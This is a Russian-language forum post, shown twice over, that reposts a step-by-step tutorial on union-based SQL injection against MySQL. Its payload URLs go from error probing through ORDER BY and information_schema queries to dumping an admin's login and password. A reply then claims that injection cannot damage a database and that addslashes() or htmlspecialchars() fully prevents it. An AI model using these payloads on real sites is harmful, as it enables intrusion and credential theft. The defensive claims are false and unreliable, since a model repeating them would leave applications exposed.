Вообщем.. курил инет на поиск того как настроить AppServ чтобы юзверя могли локально видеть мой сайт.. и случайно наткнулся вот на такую статью, может заинтересует
SQL-injecton
Сегодня мы поговорим о достаточно распространенном баге - SQL - injecton в БД MySQL.
SQL injectionSQL injection — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.
Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.
Мы будем расматривать атаку на сервер MySQL 5 ветки...
Для обнаружения SQL инъекции чаще всего пользуются манипулированием числовыми параметрами в GET
Итак имеется сайт http://site.com/main.php?id=12
тут id=12 и есть числовой параметр. Итак,проверим её на уязвимость. В конец ссылки добавляем одиночную
кавычку '.
http://site.com/main.php?id=12'
Страница загрузилась неправильно и выдала нам SQL ошибку: ну например вот такую - Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/.lionheart/ecodelaware/ecodelaware.com/place.php on line 107
Эта ошибка говорит нам о sql - injecton.
Следующим шагом нам необходимо узнать количество таблиц. Это делается при помощи команды order+by
http://site.com/main.php?id=12+order+by+1/* - при введении этой команды ошибка должна исчезнуть потомучто количество таблиц больше чем 1...
http://site.com/main.php?id=12+order+by+10000/* - ошибка появляется вновь потомучто количество таблиц меньше чем 10000
http://site.com/main.php?id=12+order+by+10/* - ошибка исчезла а при введении http://site.com/main.php?id=12+order+by+11/* появилась, из этого следует что количество таблиц 10.
Следующий шаг это вывод таблиц и просмотр версии,БД,юзера.
Это производится командой union+select+, а перед id=12 ставим минус "-"
http://site.com/main.php?id=12+union...5,6,7,8,9,10/*
На экран выходят некоторые цифры таблиц например 2. 5. 8 .10
Это те цифры через которые мы будем просматривать информацию сайта...
Например цифра 2.
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
Просмотрим версию - для этого вместо "2" ставим version()
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
И мы видим что ветка 5 или 4.
В 5 ветки MySQL доступен просмотр таблиц с помощью команды information_schema.tables
http://site.com/main.php?id=12+union+selec...schema.tables/* - мы увидим названия таблиц. Находим таблицу в которой как мы думаем хранятся юзвери... например она называется users... Подставляем http://site.com/main.php?id=12+union...0+from+users/* - ошибки нет,
Поросматриваем логин и пасс, это можно сделать вручную или командой для просмотра столбцов - information_schema.columns
http://site.com/main.php?id=12+union...hema.columns/*
Итак мы нашли таблицу юзверей, или логины и пароли в столбце... подставляем...
http://site.com/main.php?id=12+union+selec...10+from+users/*
И на экране появится логин и пасс админа вместо цыфры 2...
Если это не админ через команду limit перебираем юзверей...
Вот в принципе и все...
в ветке MySQL №4 information_schema - неработает все осуществляется ручками...
Видеомануал доступен ------> ссылке
p.s если есть подобная тема не ругайте)
Хотелось бы развеять один как мне кажется распространенный, по крайней мере у новичков, миф. С помощью sql-инъекции нельзя нанести вред БД (наверное поэтому она так и называется - инъекция). Нельзя что-либо удалить, испортить таблицу. Просто потому что сам синтаксис sql (а именно оператора UNION) не позволяет этого.
С помощью скули можно только "украсть" определенную информацию из БД, и то это стоит довольно больших усилий, поскольку это требует от злоумышленника буквально "наощупь" узнать структуру полей БД.
Пожалуй, наиболее страшное (и важное для злоумышленника), что может нести за собой скуль - так это кража md5 пароля. Важно хранить в базе данных только зашифрованные пароли, чтобы злоумышленнику при "чтении" базы не досталось все в готовом виде.
А вообще от скули есть очень эффективная панацея - php функция addslashes(), которая экранирует специальные символы, или же можно использовать intval(), которая просто преобразует строку в целое число, прочищая ее от мусора (если в скрипте предусмотрены только целые числа в качестве входных параметров).
А вообще панацея и от скули и от xss атаки можно сказать одновременно - нехитрая функция htmlspecialchars со следующим синтаксисом:
PHP код:
Дополнительный параметр ENT_QUOTES обеспечивает преобразование в специальные html символы еще и одиночной кавычки (а не только двойной).
SQL-injecton
Сегодня мы поговорим о достаточно распространенном баге - SQL - injecton в БД MySQL.
SQL injectionSQL injection — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.
Атака типа внедрения SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.
Мы будем расматривать атаку на сервер MySQL 5 ветки...
Для обнаружения SQL инъекции чаще всего пользуются манипулированием числовыми параметрами в GET
Итак имеется сайт http://site.com/main.php?id=12
тут id=12 и есть числовой параметр. Итак,проверим её на уязвимость. В конец ссылки добавляем одиночную
кавычку '.
http://site.com/main.php?id=12'
Страница загрузилась неправильно и выдала нам SQL ошибку: ну например вот такую - Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/.lionheart/ecodelaware/ecodelaware.com/place.php on line 107
Эта ошибка говорит нам о sql - injecton.
Следующим шагом нам необходимо узнать количество таблиц. Это делается при помощи команды order+by
http://site.com/main.php?id=12+order+by+1/* - при введении этой команды ошибка должна исчезнуть потомучто количество таблиц больше чем 1...
http://site.com/main.php?id=12+order+by+10000/* - ошибка появляется вновь потомучто количество таблиц меньше чем 10000
http://site.com/main.php?id=12+order+by+10/* - ошибка исчезла а при введении http://site.com/main.php?id=12+order+by+11/* появилась, из этого следует что количество таблиц 10.
Следующий шаг это вывод таблиц и просмотр версии,БД,юзера.
Это производится командой union+select+, а перед id=12 ставим минус "-"
http://site.com/main.php?id=12+union...5,6,7,8,9,10/*
На экран выходят некоторые цифры таблиц например 2. 5. 8 .10
Это те цифры через которые мы будем просматривать информацию сайта...
Например цифра 2.
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
Просмотрим версию - для этого вместо "2" ставим version()
http://site.com/main.php?id=12+union+selec...,5,6,7,8,9,10/*
И мы видим что ветка 5 или 4.
В 5 ветки MySQL доступен просмотр таблиц с помощью команды information_schema.tables
http://site.com/main.php?id=12+union+selec...schema.tables/* - мы увидим названия таблиц. Находим таблицу в которой как мы думаем хранятся юзвери... например она называется users... Подставляем http://site.com/main.php?id=12+union...0+from+users/* - ошибки нет,
Поросматриваем логин и пасс, это можно сделать вручную или командой для просмотра столбцов - information_schema.columns
http://site.com/main.php?id=12+union...hema.columns/*
Итак мы нашли таблицу юзверей, или логины и пароли в столбце... подставляем...
http://site.com/main.php?id=12+union+selec...10+from+users/*
И на экране появится логин и пасс админа вместо цыфры 2...
Если это не админ через команду limit перебираем юзверей...
Вот в принципе и все...
в ветке MySQL №4 information_schema - неработает все осуществляется ручками...
Видеомануал доступен ------> ссылке
p.s если есть подобная тема не ругайте)
Хотелось бы развеять один как мне кажется распространенный, по крайней мере у новичков, миф. С помощью sql-инъекции нельзя нанести вред БД (наверное поэтому она так и называется - инъекция). Нельзя что-либо удалить, испортить таблицу. Просто потому что сам синтаксис sql (а именно оператора UNION) не позволяет этого.
С помощью скули можно только "украсть" определенную информацию из БД, и то это стоит довольно больших усилий, поскольку это требует от злоумышленника буквально "наощупь" узнать структуру полей БД.
Пожалуй, наиболее страшное (и важное для злоумышленника), что может нести за собой скуль - так это кража md5 пароля. Важно хранить в базе данных только зашифрованные пароли, чтобы злоумышленнику при "чтении" базы не досталось все в готовом виде.
А вообще от скули есть очень эффективная панацея - php функция addslashes(), которая экранирует специальные символы, или же можно использовать intval(), которая просто преобразует строку в целое число, прочищая ее от мусора (если в скрипте предусмотрены только целые числа в качестве входных параметров).
А вообще панацея и от скули и от xss атаки можно сказать одновременно - нехитрая функция htmlspecialchars со следующим синтаксисом:
PHP код:
Код:
$textvar = htmlspecialchars($textvar, ENT_QUOTES);